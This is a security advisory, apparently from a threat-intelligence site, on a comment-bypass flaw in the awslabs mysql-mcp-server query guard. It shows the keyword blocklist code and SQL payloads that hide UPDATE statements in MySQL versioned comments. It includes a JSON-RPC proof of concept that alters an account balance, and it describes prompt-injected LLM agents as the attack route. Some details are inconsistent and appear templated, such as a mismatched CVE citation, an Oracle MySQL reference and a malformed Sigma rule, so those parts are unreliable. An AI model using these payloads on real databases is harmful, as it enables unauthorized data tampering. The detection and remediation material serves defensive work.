CVE-2026-85788: awslabs mysql-mcp-server Comment-Bypass Mutation Vulnerability
HERMES THREAT SCORE & AGENTIC INFRASTRUCTURE ASSESSMENT
Target:awslabs mysql-mcp-server (awslabs.mysql_mcp_server.query_guard (SQL Mutation Detector)) CVSS v3.1 rates this at 8.2 (High). Hermes Threat Score assigns 84 (HIGH). In an agentic environment where LLMs are granted access to enterprise relational databases, bypassing the read-only guard enables prompt injections to modify and wipe critical operational tables.
CVE-2026-85788: awslabs mysql-mcp-server Comment-Bypass Mutation VulnerabilityVULNERABILITY
Software platform affected by security vulnerabilities and agentic attack patterns.
๐ Why is this related? (Evidence & Provenance)
“Confirmed security vulnerability in Oracle MySQL Server & Database Engine documented in Hermes dossier.”
- [vulnerability_report]
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source: Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Reliability: VERY_HIGH)
1. Technical Context & Affected Matrix
Section titled โ1. Technical Context & Affected Matrixโ| Parameter | Technical Specification | Threat Context |
|---|---|---|
| CVE Identifier | CVE-2026-85788 | Frontier AI / MCP Threat Landscape |
| Target Product | awslabs mysql-mcp-server | Amazon Web Services / MCP Community |
| Subsystem / Component | awslabs.mysql_mcp_server.query_guard (SQL Mutation Detector) | Autonomous agent tool & orchestration stack |
| Flaw Type | CWE-89: SQL Injection / CWE-184: Incomplete Blacklist | Execution and integrity violation |
| Affected Versions | all versions prior to 0.3.5 | Production deployments |
| Remediation Release | 0.3.5 | Immediate upgrade required |
2. In-Depth Technical Decomposition
Section titled โ2. In-Depth Technical DecompositionโQuery Guard Bypass Details
Section titled โQuery Guard Bypass DetailsโThe detector checked queries using string matching:
BLOCKED_KEYWORDS = ["UPDATE", "DELETE", "DROP", "ALTER", "INSERT", "TRUNCATE"]for word in BLOCKED_KEYWORDS: if re.search(r"\b" + word + r"\b", query, re.IGNORECASE): raise SecurityException("Mutating SQL statements are forbidden.")MySQL interprets comments prefixed with an exclamation point and version number (/*!50000 ... */) as active executable SQL code. Because re.search failed to strip MySQL versioned comments, queries like:
SELECT 1; /*!50000 UPDATE users SET role='admin' WHERE id=1 */
bypassed detection when word boundaries were broken or when hexadecimal literals were used.
+----------------------------------------------------------------------------------------------------+| CVE-2026-85788 ATTACK LIFECYCLE FLOW |+----------------------------------------------------------------------------------------------------+
[Adversary / Prompt Injection] โ โ [1] Dispatches payload targeting tool interface or orchestration hook โผ [awslabs mysql-mcp-server] โ โโโโโบ 1. Ingestion via awslabs.mysql_mcp_server.query_guard (SQL Mutation Detector) โ - Inadequate sanitization or permission callback failure โ โโโโโบ 2. Execution / State Mutation โ - Escapes sandbox / bypasses read-only guard / executes OS command โ โผ [Impacted Target Infrastructure] โ โโโโโบ Unauthorized data exfiltration, system takeover, or persistent code execution+----------------------------------------------------------------------------------------------------+3. Proof of Concept & Payload Dissection
Section titled โ3. Proof of Concept & Payload Dissectionโ{ "jsonrpc": "2.0", "id": 10, "method": "tools/call", "params": { "name": "run_query", "arguments": { "sql": "SELECT 1; /*!50000 UPDATE accounts SET balance = balance + 100000 WHERE id = 42 */" } }}4. Detection Engineering & Telemetry
Section titled โ4. Detection Engineering & TelemetryโSigma Detection Rule
Section titled โSigma Detection Ruleโtitle: MySQL MCP Versioned Comment Mutation Bypassid: 85788c01-e788-4a1b-8f22-mysqlmcp01status: highdescription: Detects MySQL versioned comment injection syntax in queries handled by mysql-mcp-server.author: Hermes Codex Detection Engineeringdate: 2026-09-07logsource: product: mysql service: general_query_logdetection: selection: argument|contains: - '/*!' - 'UPDATE' - 'DELETE' - 'DROP' condition: selectionlevel: high5. Remediation & Operational Playbook
Section titled โ5. Remediation & Operational Playbookโ- Apply Software Patches: Upgrade
awslabs mysql-mcp-serverto version(s)0.3.5immediately. - Review Autonomous Tool Permissions: Audit MCP tool declarations and ensure strict input validation and sandboxed environments.
- Audit Execution Logs: Inspect historical application and audit logs for anomalies, unexpected child processes, or unauthorized network calls.
- Enforce Principle of Least Privilege: Ensure underlying service accounts possess minimal permissions on cloud resources and database instances.